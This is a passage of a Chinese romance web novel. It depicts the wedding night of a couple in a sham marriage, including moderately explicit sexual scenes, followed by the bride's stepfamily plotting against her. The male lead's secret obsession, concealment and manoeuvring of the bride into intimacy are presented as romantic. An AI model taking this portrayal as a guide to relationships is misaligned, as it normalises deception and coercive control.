祛除团扇之时,祝吟鸾都不敢对视,抬眼之时只见到他一脸平静,她的心渐渐冷却下去。 卫如琢当时的身上酒意弥漫,看着她神情恍惚,似乎是意识到娶的人不是长姐,明显失望了。 在祝吟鸾紧张走神期间,男人已经行至她的面前站定了。 他的身量真的太高了,身形也宽阔,将她眼前的大部分光亮全都遮掩,将她整个人笼罩在他的“圈地”之内,视线之中。 这一瞬间,不知为何,她莫名感觉自己像是被猎人盯上的猎物一般,竟产生无处可逃的错觉。 思及此,祝吟鸾忍不住笑,沈景湛怎么可能是猎人,她也不会是猎物。 再者说,作为猎物,是要有价值的。 她能有什么价值?即便是有,对于沈景湛而言,她所能呈现的价值,也不算是价值了。 隔着团扇,祝吟鸾都能够感受到男人对她的长久的注视。 就当她快要扛不住,预备开口问他看什么的时候,他迈步,旁边的床榻一重,沈景湛坐到她的身侧。 距离是不是有些过于近了?再往旁边一寸,他的肩膀就要碰到她的了。 如今近的距离之下,即便是祝吟鸾没有看过去,只是用余光扫视都能够窥见男人的身形。 他的肩骨宽阔,将喜服撑得很漂亮。 除此之外,将那边的烛火全都给遮掩住了,光影笼罩在他的身侧,愈发让她感受到他身形轮廓,明显得难以忽视。 清冽的气息一如白日里来接亲时渐渐弥漫过来。 这种倾覆令祝吟鸾睫羽颤栗,她紧张加剧,心里想要往旁边挪一挪,退居她觉得安全能够松一口气的位置,可又觉得这样挪动是不是不太好了?况且凤冠真的重。 思来想去,她最后还是没有动作。 男人投在她身上的视线始终没有收回。 她下意识抿咬唇瓣,动作虽然小。 又隔着团扇,却还是被身侧的男人尽收眼底。 他薄唇微微勾起。 她和从前似乎也没有多大的变化,紧张害怕便会如此抿咬她自己。 祝吟鸾端拿着的团扇被男人轻轻推拿开了。 她上了红妆的白玉小脸露了出来,浓密卷翘的睫毛颤得比方才还要厉害,整个人娇怯得令人心痒,旁边男人的眸色微深。 即便已经在梦中无数次幻见她着喜妆嫁过来的样子,可真正得见少女此时此刻,她还是忍不住晃了神。 不是梦了,却依然觉得好像梦。 没有了团扇的遮掩,祝吟鸾越发觉得自己被他看得无所遁形。 她在想,沈景湛怎么不说话?他一味这样看着她做什么?他没吃酒吗?还是吃了酒?怎么身上没有酒味? 他之所以这样看着她,莫不是因为她适才偷吃小食弄花了口脂被他发现了吗? 可她很小心啊。 就当祝吟鸾预鼓起勇气抬眼回望过去的时候,男人总算是开口了。 他问她累不累? 声音很温柔,仿佛缓缓溪流淌过耳朵,祝吟鸾的心思总算是定了定。 她微微摇头,“不累。”头上的凤冠也跟着晃动作响。 今日她就是起得赶早了些,但前一日睡得也早,的确是不累。 就是额头上的凤冠太重了,时时刻刻要端着。 看着她羞怯,说话声音很小完完全全不敢看过来的模样,随着不敢看他,两只手也藏到了宽袖之下,男人唇边的弧度又往上扬了扬。 他起身去倒合卺酒,端过来给她。 男人离开之后,祝吟鸾总算是敢掀起眼皮子偷偷往他那边看过去了。 却也不敢看得太明目张胆,只看到男人窄瘦的腰身。 他很快就倒好酒转过来了,祝吟鸾慌忙垂下眼睛,佯装平静,却不知道男人余光一直注意着她,将她不易察觉的小动作全都看在眼里。 也是在这一会,祝吟鸾留意到沈景湛腰间悬挂着的物件 似乎是她给他做的同心结? 若是她没有看错,应当是了。 出于好奇,祝吟鸾又抬了眼偷偷瞟了一下。 恰在这时,修长如玉的长指将酒盏递过来了,她伸手去接。 借着端酒的动作,的确看清楚沈景湛腰间悬挂的物件就是她给他做的同心结。 今日他竟然一直佩在身上? 那岂不是许多人都瞧见她与他的头发缠绕在一处了么? 这等彰显亲密的物件被旁人窥见,祝吟鸾忽而觉得更不自然了……她是真的没有想到,沈景湛居然会将同心结示于人前。 “鸾儿能吃酒么?”她接了酒盏之后,视线停留在他腰间的同心结上,久久未动。 他看到了,但没有提。 祝吟鸾回神,唇瓣翕动,“能。” 他重新坐回她的身侧,她也总算是抬眼看向他了。 沈景湛本就生得俊美,剑眉星目,鼻梁高挺,如今再着红衣,薄唇边噙着淡淡的笑意,活脱脱一个妖孽再世。 只听众人说红颜祸水,可男人的容色出众过头,祝吟鸾觉得也可称为祸水。 她的眸色微躲,回避他的幽深的视线,“……” 男人手腕穿过来与她吃酒时,身骨前倾,更近了…… 祝吟鸾只能强迫自己适应,忽视他的靠近。 她很少吃酒,没想到这合卺酒竟还有些微辣,入口之后,她便忍不住蹙眉。 沈景镇留意到她的反应,问她还好不好,祝吟鸾点头说无碍。 吃过合卺酒,他说凤冠太重,起身亲自帮她取了下来放到旁边。 男人的手伸过来时,她降下去的紧张又浮了上来,但她没有说话,害怕尴尬。 头上的负重忽而被卸除了,祝吟鸾松了一口气,肩颈都舒坦不少。 去除钗环,黑发红衣,越发显得她 恬静温婉,但因为今日胭脂比往日上得更多些,沾染了酒水的唇瓣红润晶亮,透着若隐若现的妩媚,很是动人。 沈景湛静静看着她。 好一会,祝吟鸾实在是被看得受不住了,她腮帮子微动,启唇问他,“是不是我的胭脂花了?” “嗯?”男人语调微扬表达着疑惑。 “我的胭脂要是没有花,你你做什么这样瞧着我?” “鸾儿貌美,我一时失神。”他直言不讳,轻声笑。 倒叫祝吟鸾越发不自在,“……” 男人皮相生得好,语调也温柔,不叫人觉得话语冒犯。 更何况这是她与他的洞房花烛夜。 说起这个,倒与她想得不太一样。 本以为沈景湛会很晚才过来,却没想到她被送到内院没有多久,他便过来了? 今日来的人这么多,基本都是王孙公子,上位大臣,他就不用应酬么? 心中做此想,祝吟鸾面上却不敢表露,也不敢说出来。 说好的假成亲,只是相敬如宾,但沈景湛给她的感觉太像是真的了。 就好似,他中意她,娶到了她,要与她 与她…… 不怪她错觉,主要是他看向她的时候,专注得不挪眼,令她面热难消。 她明明没吭声,可沈景湛却好似再一次看穿她在想些什么。 他轻声道,“鸾儿与我虽只是盟亲,但该做的礼数不能少,免得被家中人察觉传到母亲和祖母耳朵里,如此,你可能理解?” 有这句话,祝吟鸾微微放松了些许。 可很快她松下去的这口气又提了起来,因为顺着沈景湛的话,她想到了一件事情。 万分担心之余,竟然无意之间将话给问了出来。 “我们不会要圆房吧?” 先前不是说可以从外认养一个孩子,放在她的膝下么? 当时沈景湛这样说,她便认为沈景湛是不与她圆房的。 况且,他再往前也说了么,帮他搪塞家中,这房中事应当不会有人盯着吧? 她虽然早有人事,可一想到要跟沈景湛行亲密之事,莫名慌怕。 此言一出,祝吟鸾察觉不合时宜,却也收不回来了。 她忐忑等着沈景湛的答案默不作声。 男人沉默一会,“…鸾儿不想与我圆房吗?” 他、他怎么这样问? 语气也有些怪怪的。 “我们……你、你当初不是希望娶的人不中意你吗?” 不惦记,不垂涎。 “嗯。”他轻声。 寥寥一个单字,祝吟鸾无从分辨男人话里的意味。 既然不知道回些什么,索性就不开口了。 沉默了一会,男人问她饿不饿? 祝吟鸾自午后便没吃,适才也就吃了几口,眼下当然是饿的,她不想委屈,便轻轻点了点头。 沈景湛往外叫随从,很快就有小丫鬟端了托盘上来,里面装着精美的膳食。 净手之后,两人坐下用膳。 见她拘谨,沈景湛把旁边负责伺候布菜用饭的小丫鬟都给遣散了出去。 人赶走之后,他自己没怎么吃,还一直给她夹菜。 “我自己可以。”她让他吃。 沈景湛轻嗯,却还是留意着,帮她添汤。 吃到一半,他忽而开口叫她不必紧张,“当初说好的不会更改,鸾儿不必担心我会欺负你。” 他说的欺负,应当就是圆房这件事情了吧? 倒也不是欺负。 男女之事,多是女子吃亏。 可听闻沈景湛不近女色,沈翕云也跟她说过,沈景湛房中不仅没有通房丫鬟,就连伺候的都只用男仆,可把沈夫人愁坏了。 误以为他好龙阳,毕竟高门公子当中,可没有谁像他,弱冠之年都过了,连个晓事的丫鬟都不收。 如此说来,他房中事必然干净。 想来……是要留给喜悦的姑娘? 这等亲密的事情,自然要跟喜悦的人行了,才有愉悦的意趣。 他不是有心悦之人了吗?却不知那人是谁,沈景湛隐藏得深,沈家的人竟没有丝毫察觉他早有了心上人。 “我……我没有担心。”她道。 “为何?” 适才分明防备,此刻却对他松懈起来了。 祝吟鸾想说她只是太紧张过头了,所以才风声鹤唳,却没说,脱口一句,“因为沈世子是正人君子。” 听到眼前姑娘一本正经的夸耀。 他着实忍不住笑了。 “你笑什么?”她莫不是说错了? 可他的确是正人君子啊。 “没什么。”沈景湛唇边的笑意没有收敛,他道,“只是没想到在鸾儿心中,我竟然如此之好。” 她一直觉得他是正人君子,若有一日发现他所做的那些事情,会如何? 厌恶他?远离他吗? 思及此,男人眼眸微沉,他绝不会允许这样的事情发生,所以她不会知道。 阴暗在他心中翻覆,但在长睫掩饰之下,祝吟鸾看到的只有他表面的温和俊逸。 “你一向……一直都很好。” 他又笑了一下,眉眼舒展。 祝吟鸾吃了不少,他叫人拿水伺候她沐浴。 祝吟鸾这才留意到旁边竟然有两个浴房,难怪内室如此宽敞。 明芽不知道两人不会圆房,给祝吟鸾攃洗着身上,还给她多放了一些玫瑰花露,说是施家姑娘给她的,用了之后,身上会染上馥郁芬芳,久久不散。 祝吟鸾却觉得不用,可架不住明芽热情,还是倒了一些花露在热水里。 祝吟鸾出来的时候,也察觉到了她身上好香。 给她上完滋润肌肤的玉露,小丫鬟们默契退了出去,还把烛火灭了很多盏。 原本亮堂堂的内室瞬间变得幽暗起来。 这会子,沈景湛也从另外一边的浴房出来了。 昏暗当中,祝吟鸾抬眼看去,见到男人颀长身姿,觉得赏心悦目的同时,她竟又诡异觉得熟悉? 在哪里见过吗? 思来想去,找不到答案,可这股诡异的熟悉感久久未曾消散,始终萦绕在她的脑中,心上。 她无法驱散,要追根溯源,就是想不起来在哪里见过。 沈景湛问她怎么不过来。 祝吟鸾走神期间,他已经靠近了,就在她面前,她要抬头看他。 她也闻到了他身上沐浴之后的香味,跟她所用的澡豆胰子是一样的。 窗桕半开,夜风吹袭过来,还卷带着男人身上的清爽气息浮至她的鼻端。 祝吟鸾撇开眼,“我正准备过去。” 说罢,她与他错身往前走。 走得有些快,就像是逃了一般。 男人转身看着她的背影勾唇笑。 祝吟鸾躺到了床榻里侧,依然无法平静,主要是沈景湛的存在感实在太强了,纵然两人之间距离还很宽,可她就是……没办法平静下来。 在半月之前,她哪里想过,竟然会跟沈景湛成为夫妻,同床共枕。 就当祝吟鸾在心中不断安抚自己,祈求平静下来之时,沈景湛忽而靠近,她微微消融的紧张又骤然升高。 “怎、怎么了?”细嫩的手攥紧了被褥。 男人低声唤她鸾儿。 声音近在咫尺,又同在一处幔帐内。 她慌乱。 “你恐怕要与我演一场戏。” “什么戏?”她接话接得很快。 “祖母和母亲派了人过来。” “什么?”祝吟鸾此刻的思绪微微迟钝。 “就在室外墙角。” 原来是来听墙角的。 沈景湛并没有过多的解释,但祝吟鸾已经清楚了。 她和沈景湛之间差距太大,先前又没有在明面上接触过,这一遭恐怕是来探听虚实的。 昏黄光影当中,沈景湛见她自己意会了,接着问她可以吗? 自然是可以的,这本来就是她的“职责”所在,一开始就约定好了她要帮他应付家中。 更何况,此刻的她帮沈景湛,也是在帮她自己。 若是沈夫人和沈老太太发现两人之间不对,再起变故怎么办? “那……我要怎么做?”她问。 “鸾儿会叫.床吗?” 男人直接说出这两个字,祝吟鸾的脸色却在一瞬间红润起来。 “ ……” 他直接的语调似乎毫无霞念,可她却扭扭捏捏? 沈景湛说得对,沈老太太和沈夫人派来的人的确就是要听动静啊,若是不闹出些许动静,恐怕不好交差。 这是叫.床.这两个字他怎么就脱口而出得那么自然? 或许他心无杂念吧。 静默一息后,祝吟鸾尝试叫了一两声,可她真的没办法学出那样的低吟婉转,简直就是小猫咪叫,且只有沈景湛听得见,哪里就能够传到外面去了? 也正是这一两声,祝吟鸾的脸都红了不少。 她发现她做不到,还是当着沈景湛的面,那种声音怎么能够浑然天成发得出来呢? 以前她都一直隐忍,觉得情难抑制之下被逼出来的声音实在陌生且黏糊…… 再者,她都多久没有共情.人事了啊? 祝吟鸾又羞又急,仿佛事情快要被自己搞砸了。 她不断强迫自己冷静,抛却羞耻,去做好这件事情,想想祝家卫家对她的逼迫…… 思及此,人的确是冷静下来了,可再开口,依然干巴巴不像,还不如不叫呢。 尴尬始终蔓延,祝吟鸾想要忽视沈景湛,旁若无人.吟.咛出声,可是好难,她没办法忽视沈景湛,他的存在感太强了。 就当她一愁莫展之时,旁边的男人轻声道,“鸾儿既觉得为难,那便算了吧。” “可……”虽然他这样说,让她觉得松了一口气,但是沈老太太和沈夫人那边怎么交代? “明日我会与母亲说我身子骨不舒坦。” 祝吟鸾沉默下来,“这样能糊弄过去吗?” “应当能的。” 男人又补了一句,“且再拖拖吧。” 祝吟鸾,“……” 有句话怎么说的,躲得了初一躲不了十五。 即便是沈夫人和沈老太太被暂时糊弄过去了,往后怎么办? 祝吟鸾也清楚沈景湛是在为她争取时日,今日不行,过些时日或许就好了。 可她也了解自己,眼下不行,过些时日恐怕也…… 若是旁的事情还好,这样的事情她去哪里学?又去哪里找师傅教一教? 况且,今日沈景湛接亲的时候还好好的,夜里却说身子骨不舒坦,恐怕瞒不过去。 “………”她抿唇,心里正做着挣扎。 沈景湛见她满脸愁容,轻声安慰她道,“无事,我不会叫母亲和祖母为难你,明日找个周全些的借口就是了,待过一段时日,祖母和母亲应当也不会一直盯着我们了。” “鸾儿今日也累了,快歇吧。” 男人还贴心给她掩了掩被角,随后退离。 祝吟鸾也不知道从哪里来的勇气,总之她是豁出去了。 心一横,攥着沈景湛的衣角,“别……先……”她抿唇,“先别走。” 男人已然翻身。 昏暗幔帐里,无形当中掉入陷阱,被圈至角落里的兔子,总算是被他以退为进逼出来了。 可她却不知道男人此刻的想法,还以为他在为难。 她觉得沈景湛帮了她很多,到这个份上再扭捏守身如玉也没什么意思。 索性就道,“你……你与我……” 圆房那两个字,祝吟鸾说不出来。 她说不出来,便只能用行动来代替了,一点点攥紧沈景湛的衣角,攥至她的掌心,将他拉过来。 她的力道很小,如何能够将男人给拉过来。 若再进一步,祝吟鸾想着她要不要挪过去,方便沈景湛意会。 她也的确挪了一些,但慢慢得很…… 男人等了一会,他翻身过来。 锦色中衣从她的掌心脱出,两人面对面。 “鸾儿要与我同房应对吗?” 他又开始很直接了。 直来直往,的确可以节省很多麻烦,总比她扭扭捏捏强,祝吟鸾想说话,却还是觉得羞,便点头以做回答。 反正她早就为人妻了,既能解决办法,没必要一直端着守身如玉。 只是,沈景湛那边恐怕就…… 他或许不愿…… 祝吟鸾心里也是乱糟糟的,想说些话找补,却又不知道说什么为好。 幸而,沈景湛也没说什么。 他知道她面子薄,不过低声再问一句她可是真的要这样应付演戏? 祝吟鸾点头,“嗯。” 她撇开脸蛋,连带着细颈都红了起来。 脸蛋也变得很热。 沈景湛看了她一会,也不知道在想什么。 人处在昏暗当中,五感会比平时更敏锐。 她开口让他别看了。 沈景湛的视线果然收回了一些,但与此同时他靠了过来。 掀开被褥,攥着她的腰身将她给拉了过去。 男人的手掌好大,几乎攥拢了她的大半腰肢,距离近得说话间便能够吻上对方。 沈景湛的气息悉数打在了她的脸上,让她本就热得不行的小脸,越发蒸腾了起来。 “别怕…”他哄着她。 带着她的腰身往这边带过来。 隔着薄薄的亵衣,她感受到男人.硬.朗结实的胸膛。 压上去时,整个满春都散了形。 祝吟鸾情不自禁.嗯.呀一声,猝不及防蹦出来的声音。 跟方才她干巴巴的.嘤.咛相比,那股黏糊劲头窜上来了。 她虽说是点头了,可因为害怕,手抵在两人中间,手掌压在他的肩胛骨上。 他的力气一定很大,与她的柔软相比简直强势到了极点。 “……” “得罪了,鸾儿。” 他前一句都还生疏,后一句却唤着她的闺名,还是贴着她的耳朵说话。 耳鬓厮磨之间,只有她听得见他究竟说了些什么。 这是独属于两人之间的秘语,祝吟鸾莫名觉得心颤。 他的声音磁沉低哑,着实好听到惑人。 祝吟鸾抿唇。 他施加一些她还能够接受的力道,将她越发往他怀中带去。 这一次是真的压了一个紧紧实实,抱得严丝合缝。 祝吟鸾比方才更进一步感受到男人的身骨纹路。 他壁垒分明的腹肌。 她贴着他的胸膛。 如此近的距离之下,她既然能够感受到他,恐怕他也感受到她了吧。 沈景湛的确是感受到了。 过往的记忆袭来,零零散散的画面涌入他的脑海当中。 她不记得了,可他还记得。 但若是太快进一步,只怕她醒过神之后察觉到不对劲。 所以他一直在压抑着,克制着。 若是此刻此处有明亮的烛火,祝吟鸾定然能够看到男人眼底吓人的晦暗与幽沉。 她也会被吓得逃离。 但此刻的她还蒙在鼓里,哪里清楚抱着她的男人在想什么,他又想做什么,克制着什么,隐忍着什么。 她只感受到他的灼.热.与滚.烫。 想着他为何不动? 是……不会吗? 她要不要提醒沈景湛接下来该做什么? 就当她思来想去许久,正要开口时,男人低头了,他用高挺的鼻梁眉眼去等她的额头,眉眼,面颊…… 蹭得她好痒,除却痒意,甚至泛起了阵阵酥麻…… 叫她忍不住想躲,可又不知道躲往什么地方去,因为男人揽着她的腰肢,根本不容她退却。 这股子酥.麻和痒.意窜遍全身。 祝吟鸾忍不住挣扎,侧脸躲闪的同时,断断续续的吟.咛,破口而出。 他一开始用脸去蹭她不过是温柔的触碰,可渐渐加重了力道,且不至于她的面颊。 姑娘的红衣被拱开,露出大片雪肤。 第39章 第39章亲密。 受灼.热.强势的春风吹拂,春波愈发扭显出柔软。 本应令人.肉.浮骨酥,可这才开始,激荡起来的只有难耐的.燥.热。 祝吟鸾觉得她好热呀。 这才刚过春日,时值初夏,京城的天虽然时冷时热,可总体而言,还是寒的。 沈景湛还没有过来之时她便留意到新房墙面用了椒泥——取花椒捣碎再混香料混泥和墙,利用其性辛辣保暖,同时芬芳四溢。 除此之外,内室还放置了熏炉。 方才进幔帐时,还要盖锦裘,如今锦裘落了大半。 沈景湛抱着她,他本身就像是一个巨大的火炉。 这强势的火.蹭.着她,热得她难以复加。 他知道她难受,已经在帮她除衣降热了。 可……杯水车薪。 因为他的鼻尖已经流连途径雪堆积而成的峰峦之地。 男人似乎也不舒坦,深伏入雪岭之间。 那地方就在祝吟鸾的心口右侧,她此刻的心跳如雷,他必定听到了吧。 她虽然有过人情之事,可卫如琢的公事公办与沈景湛之间……完全不一样。 在面对前者之时,她还能够压抑自己,控制着不过分展露情绪,可沈景湛这才开始,她怎么……就成这副样子了? 似乎比他这从未有过的都还要溃不成军? 或许因为沈景湛是京城当中最高不可攀的权臣公子,众位贵女都想摘下的高岭之花。 他年轻,样貌又生得无比俊朗,如此人物却在沾染情.欲,还是同她一起,这般的交颈以.握,她怎么会没有反应呢? 男人一开始还是有礼貌的。 他没有用唇吻她。 祝吟鸾适才已经发出“不舒坦”的异动声响,可她自己也清楚,这是不够用来应付外面的人。 正当她乱糟糟想着要不要刻意加大声音时,他不知道从何开始,竟然…以唇吻了上去。 祝吟鸾不可控制扬起了细颈,上面有密密麻麻的香汗,还有他留下的气息,她如愿拔高了声音,也的的确确传到了外面去。 在守夜伺候的小丫鬟婆子随从们全都听到了,可谁都不敢好奇,一味的眼观鼻鼻观心。 祝吟鸾觉得,她要热得融化了。 因为强势的风一直留恋在雪凝成的软糯之地。 不知道过了多久,她的眼角都冒出了细汗,甚至开始推拒他,却又被他捏住腕子,束缚控制。 男人反手攥住她的动作好熟悉,似乎曾经他早就对她做过这样攥捏手腕的…… 祝吟鸾脑中闪过一幅画面,但速度太快了,此刻的她根本来不及捕捉。 断断续续的声音往外蹦,时而高,时而低。 泪珠和汗珠滚落到一起。 男人的薄唇总算是离开流连忘返之地,转而重新落到她的脸上,眉眼,鼻尖上,始终没有吻她的唇。 他另外的一只大掌,穿过少女纤细的腰身,接替了薄唇的工作。 揉乱满园春色,在骨节分明的五指之下,雪色从指缝逃窜,却又被他带回。 祝吟鸾低咛的声音,越来越大了。 外面的小丫鬟们听了都不禁脸红。 没想到大公子竟真的如此喜爱这祝姑娘,将人疼爱得低低抽泣。 “……” 那边在应付客人的沈老夫人听到了消息,面露惊讶的同时,还有几分不信。 她贴身的老妈妈再次点头,说亲耳听到,沈老太太这才正视起来。 那女子早就不是完璧之身了,她这矜贵清冷的嫡长孙竟然真的不嫌弃,反而多番纠缠。 看来,的确是喜爱极了。 众女眷见她面色变化,沈老太太不说,却也不敢问什么事。 外面奉命前来偷听的人走了祝吟鸾也不清楚。 此刻的她哪里顾及得上。 适才不过是低低抽泣,可沈景湛吻下之时,她的足趾都忍不住蜷了起来。 意识到他或许要做什么。 祝吟鸾连忙制止,她叫他不要吻。 亲哪里都好,怎么能够亲那里呢? 男人停下来看她,她羞得哭了,两只小手遮掩住,腕子又细又嫩,在昏暗当中依旧白得晃眼。 她乌黑如泉般滑亮的长发大部分铺洒了满枕,少部分混合着泪水和汗水黏在她的脸上。 姑娘的睫毛颤抖,鼻尖时不时耸动,她怎么娇得如此好看? 沈景湛强压下心中荒诞不经的想法,知道他不能.操.之过急了。 便顺了她的意思。 “我想要鸾儿好过。”他开口之时声音暗哑,沉得吓人。 祝吟鸾抿唇。 很快就明白了他的意思。 男人常年握剑攥笔,他的手指虽然修长如玉骨节分明,可指腹的粗厉很是严重。 祝吟鸾身体力行感受到,尽管他已经温柔克制,可她忍不住哭出声来,他吻去她的眼泪。 也不知过了多久,她的鼻尖都哭红了,蜷缩的足趾在紧绷之下总算一瞬间松了,小巧的脚边显出淡淡的粉色,是银河流淌的功劳。 她哭得厉害,缓不过气。 男人一直在等她平复,许久之后问她好点了吗? “……嗯。”祝吟鸾几乎没有力气。 她虽然好了,可他却依然僵持着。 祝吟鸾刚想说话,他却已起身看着要出去。 她着急问,起身之时力气还没恢复,摔入柔软的被褥之中,“你去哪?” “叫水。”男人看过来时,眼神微暗,瞬间撇开视线。 祝吟鸾此刻也留意到她的“狼狈”。 她此刻衣衫不整,春色泄露。 沈景湛挪开眼的一瞬间,她立马垂眸整理,可她勉强收拾好,男人已经离开了。 “……” 小丫鬟们手脚很快,拿了热水伺候祝吟鸾沐浴。 即便两人并没有真的行房,可种种痕迹,已经足够糊弄了。 明芽跟祝吟鸾说,适才沈夫人和沈老太太派人过来,听了半宿走了。 祝吟鸾平复心绪之后,想到刚刚的事。 沈景湛要亲她,却没有真的与她行周公之礼。 分明只是演戏而已。 既然已经糊弄了过去。 两人的狼狈各自收尾就是了,可他竟然还顾及了她的难受,帮她舒畅。 也只是帮她而已,事情完了即刻抽身。 祝吟鸾当然感受到了沈景湛的“难言”,都到了那个份上,他没有再进一步,一或许是顾君子之谊,二来应当还是想留清白之身给他喜爱的姑娘吧? 思及此,祝吟鸾忍不住呼出一口气。 她倒也不失落,只是再次替沈景湛惋惜,若他娶到他真的想娶的人,这新婚之夜,也不会是这样的。 同室比邻的浴房之内,身处在凉水当中的男子闭上眼,额头上的热汗往下滚,他眉心触到一起,额头青筋忍得爆起,呼出的气息热得骇人。 浴桶里的凉水都被他给蒸腾得热了起来,。 他的心气难消,垂眸一看,还在僵持。 这忍了许多年的干柴,遇上烈火,一时之间哪里能够瞬间平息了? 可他不得不这样做。 若太想“急功近利”,她一定会发觉异常。 心里想着姑娘的雪肤娇样,此刻她并不在,心中绮念被他暂时放出。 浴桶里的水激荡,不多时总算漾出白云泉水,混入其中,犹如他的思绪一般,勉强得以舒展。 祝吟鸾上榻许久,沈景湛才回来。 察觉到她没睡,问了她是不是身子骨不舒服? 男人的声音退却暗哑深沉,只余温和。 “适才,抱歉……”他居然朝着她认错。 祝吟鸾一时之间竟不知道说什么为好。 他分明这样周到细致了。 她摇头,“我……你并不需要向我致歉,反而是我……” 想到沈景湛出去时的样子,现在又姗姗来迟,她抿唇低声问他还好不好? 原是勉强压下去了,但她此刻低声细语关怀,尚未散尽的余火隐隐有复燃之势。 沈景湛眸光微闪,答非所问的语调却很温和,“鸾儿怎么了?” “我叫你为难了。” 若不是她做不到,沈景湛理应为他喜爱的女子守身如玉的。 “这件事情本是我占了便宜,鸾儿不该自责。”他宽慰她。 “方才我力道重了,鸾儿可觉得哪里不舒坦?” “没有,明芽给我上药了。”还是他叫人拿来的,不得不说沈景湛真的很贴心很好。 “没有伤到鸾儿就好。”他躺在她身侧。 经过这么一遭,他躺下来的地方比方才更进一步,祝吟鸾却没发觉。 “你呢,你还没有回答我,你好不好。”她问。 “我没事。”他轻笑。 听到男人亲口说,祝吟鸾松了一口气。 “既没事就好。” “只是……” “只是什么?”她疑问。 “鸾儿若不喜欢唤我表字,便叫我夫君吧 ,如此可行?” 他的表字…… 自从上次以后,祝吟鸾的确没有叫过他的表字,她始终觉得太亲密了。 现如今再叫,又觉得…尴尬。 “夫君……”她轻唤了一声。 身处昏暗当中的男人听到她的称呼,薄唇弧度放大,“嗯。” 他等这一声,实在太久了。 折腾了半宿,祝吟鸾在羞怯当中睡去,她的呼吸平稳之后,身侧的男人转过来看着她的睡颜不语。 他靠近,近在咫尺。 与她面颊相贴,指腹轻柔摩挲她的眉眼,鼻尖,一遍又一遍,展露着他不为人知的喜悦和痴迷,低声缱绻唤她鸾儿。 终于,娶到你了。 沈家这夜很晚才将客人尽数送离。 祝家那边也不太平。 祝沉檀直接冲到了沈家,可家中竟无一人在。 下人说,祝大人和祝鸣生去了立水办公事,要几日才能回来,朱夫人过府应约去了,只怕也要晚些归府。 祝沉檀实在气疯了,回到院子里面砸了一地的东西。 小丫鬟上去劝解,还被她甩了一个大巴掌,一时之间面面相觑,谁都不敢再说了。 管事的妈妈最好去找朱夫人。 收到消息的朱夫人也坐不住了,连忙回家来。 路上没问出到底发生了什么事情,朱夫人赶往祝沉檀的院子,到时吓了一跳,因为地上满是狼藉,屋内的物件全都被她给砸干净了,完完全全找不到下脚的地方。 祝沉檀气极了,哭得梨花带雨,眼睛红了不说,就连发鬓都散了。 “我的祖宗,究竟又是出了什么事情?出门之前不是还好好的吗?” 朱夫人连忙叫人去收拾,又心疼地上被祝沉檀摔碎的摆件,多数都是名贵的,这些时日家中银钱短缺,届时又要买了填补了。 “母亲!您……”祝沉檀欲言又止。 朱夫人见她这样,以为她魔怔了,追着问她到底是怎么了? “母亲您知不知道沈世子娶的女人到底是谁?!”祝沉檀此刻只觉得屈辱,她看着朱夫人,甚至怀疑朱夫人都在骗她了。 因为朱夫人一直找人要帖子,叫她去赴这场屈辱的喜宴。 她哪里是去见世面,而是被人摆了一道,成了骗子,成了一个笑话! 朱夫人一头雾水,“到底发生了什么事情?” 没有从朱夫人的眼里看到躲闪的神色,祝沉檀勉强松了,但她心里的怒火依然在燃烧,而且烧得特别厉害。 “是谁?不就是施家新认的义女吗?”朱夫人问她是不是见到人了,结交上了吗? 祝沉檀冷笑,“结交?” “母亲真应该也过去看看,她到底是谁?!” 朱夫人皱眉,“檀儿,到底怎么了?你不说,母亲怎么会知道?” 祝沉檀大声嚷嚷,“沈世子娶的新妇,施家认的义女,不是别人,正是祝吟鸾那个小.贱.人!” 朱夫人还以为自己听错了,“谁?” “祝吟鸾那个小贱人!她居然攀附上了施家,还嫁入了沈家,飞上枝头做凤凰了!” “怎么可能。”朱夫人摆手一笑,“怎么可能是她,你定然认错了……” 话是这么说,朱夫人却觉得不对。 若事情不属实,祝沉檀也不会这般发疯摔东西。 可怎么可能呢?! 那个小贱人……对啊,这些时日早就没有祝吟鸾的消息了,她就好像完完全全消失在了京城当中。 “你亲眼所见吗?”朱夫人问。 “女儿亲眼所见,千真万确就是她!”祝沉檀整个人都快要抑制不住的发抖了。 “不只是女儿,卫如琢也看到了,就是她!她嫁入了沈家,嫁给了沈景湛!” 天知道她有多眼红! 那可是沈景湛,全京城贵女最想嫁的人。 “怎么会……”朱夫人的脸色也开始发白,意识到情况不对了。 若真是这样,祝吟鸾恐怕不会放过祝家。 朱夫人一想到之前找她算账,还寻了地痞无赖去进行.骚.扰恐吓的事,额头上瞬间浮起冷汗。 她低喃,“祝吟鸾一直默默无闻,怎么会攀附上施家呢?” 这件事情一定没有那么简单。 朱夫人让她先冷静,小丫鬟们收拾好了屋内的狼藉。 她让婆子们拿水,重新给祝沉檀梳妆。 对方却十分抗拒。 朱夫人捏了捏眉心,“还没发生什么大事,你就怒不可遏,自乱阵脚,真要是发生了什么事情,那可怎么办?!” “母亲是不知道女儿今日有多屈辱吧!”祝沉檀大声叫唤着说她喜服所用的料子,挂在沈家丫鬟的腰间上,那些还都是做粗活的小丫鬟! “她在羞辱我!她一定是故意的!” 祝沉檀一想到往日里看不上看不起的庶妹,竟然爬到了她的头上,就要压制她一辈子了,气得牙齿发颤骨头疼。 “冷静下来!”朱夫人看她这样也是心疼,叫人熬安神汤来。 发了好大一通气,吃过安神汤,祝沉檀也好多了。 朱夫人安慰了她许久,“我会让你父亲去查这件事情,若真如此,沈家新妇真是祝吟鸾,那必然要从长计议。” “依着母亲看,这也不完全是坏事。”朱夫人很快就绕过弯子来。 “不是坏事?”一想到祝吟鸾可能会出现的趾高气昂的嘴脸,祝沉檀脸都黑了。 “不是坏事。”朱夫人摸着她的头发,“祝吟鸾若真的高嫁,你一定要跟她多多往来,届时你若不想嫁给卫如琢,不也有更好的选择了吗?” “母亲是想让我靠着祝吟鸾高嫁吗?”祝沉檀瞬间冷静下来。 “若她愿意帮你,也不是没有可能。”朱夫人点头。 祝沉檀想到那日在卫家闹得难堪,还有后面发生的诸多事情,不免没有底气。 “您说得轻巧,祝吟鸾借着沈家的势力,翅膀定然是硬了,怎么可能会帮我?况且您忘了吗?当初把她逼出沈家的是我们,您后来还找人去跟她算账欺负她呢……” 祝沉檀边说着边在心里算账,若是能够踩着祝吟鸾高嫁… 听母亲的话,忍这一时的委屈也不算什么了。 是啊,祝吟鸾那么愚蠢,或许……她或许是凭借样貌入了沈景湛的眼睛。 祝沉檀忍不住在心里想,她既然都能够把卫如琢给抢过来,沈景湛自然也不在话下了。 一想到若是能够嫁给沈景湛那般风光霁月的人…… 祝沉檀的心跳得无比厉害。 眼下的她,早已把今日众人的艳羡对象换成了她自己。 